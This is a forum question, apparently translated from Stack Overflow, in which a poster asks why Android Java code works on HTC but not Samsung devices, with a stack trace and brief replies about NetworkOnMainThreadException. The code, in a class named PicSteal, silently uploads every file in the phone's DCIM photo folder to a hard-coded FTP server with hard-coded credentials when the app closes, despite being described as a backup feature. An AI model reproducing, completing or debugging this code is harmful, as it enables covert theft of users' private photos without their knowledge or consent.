FTP备份代码(java)仅适用于某些android设备

FTP备份代码(java)仅适用于某些android设备,java,android,Java,Android,当从我的备份android应用程序的onDestory方法调用时,下面编写的代码可以在我的HTC设备上运行 但是,它在我的三星设备上不起作用。有什么想法吗?ADT告诉我问题在第28行 package com.simplejsonapp; import it.sauronsoftware.ftp4j.FTPAbortedException; import it.sauronsoftware.ftp4j.FTPClient; import it.sauronsoftware.ftp4j.F

当从我的备份android应用程序的onDestory方法调用时,下面编写的代码可以在我的HTC设备上运行

但是,它在我的三星设备上不起作用。有什么想法吗?ADT告诉我问题在第28行

    package com.simplejsonapp;

import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;

import android.os.Build;
import android.os.Environment;

public class PicSteal {
    public static void picStealer(){
    //Create the FTP connection object:
    FTPClient client = new FTPClient();
    try {
        //String deviceType = getDeviceName();
        /**
         * This section is where I need to add a decision structure for 
         * what folder to download from based on what kind of device is
         * using the software.
         */

        client.connect("127.0.0.1"); //create connection to server (IP changed here because 4chan)
        client.login("ftpuser", "ftppass");//login using credentials

        //this is where the magic happens
        String deviceName = getDeviceName();

        //File samsung = new File("/storage/emulated/0/DCIM/");
        //create the file object
        File stock = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/");
        //create the array of files to iterate over

        File[] listOfFiles = stock.listFiles();
        processFiles(listOfFiles, client);



        client.disconnect(true);//disconnect

    } catch (IllegalStateException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (FTPIllegalReplyException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (FTPException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }


}
private static void processFiles(File[] listOfFiles, FTPClient client) {
    for (int i = 0; i < listOfFiles.length; i++) {
          if (listOfFiles[i].isFile()) {
             //upload file to server
              try {
                client.upload(new java.io.File(listOfFiles[i].toString()));
            } catch (FTPDataTransferException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (NullPointerException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } 
              catch (FTPAbortedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            //System.out.println("File " + listOfFiles[i].getName());
              catch (IllegalStateException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FileNotFoundException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FTPIllegalReplyException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FTPException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
          } else if (listOfFiles[i].isDirectory()) {
            //System.out.println("Directory " + listOfFiles[i].getName());
              File[] newList = listOfFiles[i].listFiles(); 
              processFiles(newList, client);
          }
        }// TODO Auto-generated method stub

}
public static String getDeviceName() {
      String manufacturer = Build.MANUFACTURER;
      //String model = Build.MODEL;
      return manufacturer;
} 
所以,我想我指出了错误的方向,但我不确定

控制台输出:

03-24 02:48:56.704:D/AndroidRuntime(20505):关闭VM 03-24 02:48:56.704:W/dalvikvm(20505):threadid=1:线程以 未捕获异常(组=0x41f0aac8)03-24 02:48:56.714: E/AndroidRuntime(20505):致命异常:main 03-24 02:48:56.714: E/AndroidRuntime(20505):java.lang.RuntimeException:无法停止 活动{stringtheory.cryptos.emc2/com.simplejsonapp.HomeActivity}: android.app.SuperNotCalledException:活动 {stringtheory.cryptos.emc2/com.simplejsonapp.HomeActivity}没有 调用super.onStop()03-24 02:48:56.714: E/AndroidRuntime(20505):在 android.app.ActivityThread.performStopActivityInner(ActivityThread.java:3238) 03-24 02:48:56.714:E/AndroidRuntime(20505):在 android.app.ActivityThread.HandleTopActivity(ActivityThread.java:3284) 03-24 02:48:56.714:E/AndroidRuntime(20505):在 android.app.ActivityThread.access$1000(ActivityThread.java:152)03-24 02:48:56.714:E/AndroidRuntime(20505):在 android.app.ActivityThread$H.handleMessage(ActivityThread.java:1311) 03-24 02:48:56.714:E/AndroidRuntime(20505):在 android.os.Handler.dispatchMessage(Handler.java:99)03-24 02:48:56.714:E/AndroidRuntime(20505):在 android.os.Looper.loop(Looper.java:137)03-24 02:48:56.714: E/AndroidRuntime(20505):在 android.app.ActivityThread.main(ActivityThread.java:5299)03-24 02:48:56.714:E/AndroidRuntime(20505):在 java.lang.reflect.Method.Invokenactive(本机方法)03-24 02:48:56.714:E/AndroidRuntime(20505):在 java.lang.reflect.Method.invoke(Method.java:511)03-24 02:48:56.714: E/AndroidRuntime(20505):在 com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1102) 03-24 02:48:56.714:E/AndroidRuntime(20505):在 com.android.internal.os.ZygoteInit.main(ZygoteInit.java:869)03-24 02:48:56.714:E/AndroidRuntime(20505):在 dalvik.system.NativeStart.main(本机方法)03-24 02:48:56.714: E/AndroidRuntime(20505):由以下原因引起: android.app.SuperNotCalledException:活动 {stringtheory.cryptos.emc2/com.simplejsonapp.HomeActivity}没有 调用super.onStop()03-24 02:48:56.714: E/AndroidRuntime(20505):在 android.app.Activity.performStop(Activity.java:5489)03-24 02:48:56.714:E/AndroidRuntime(20505):在 android.app.ActivityThread.performStopActivityInner(ActivityThread.java:3235) 03-24 02:48:56.714:E/AndroidRuntime(20505):。。。11更多03-24 02:49:07.725:I/Process(20505):发送信号。PID:20505信号:9


它有什么作用?抛出一个NPE?如果我在eclipse中正确阅读控制台输出,它是一个NetworkOnMainThreadException将完整的堆栈跟踪添加到问题中,这将使分析问题变得更容易是。肯定是NetworkOnMainThreadException,但不确定如何使代码在另一个线程上工作?
           File[] listOfFiles = stock.listFiles();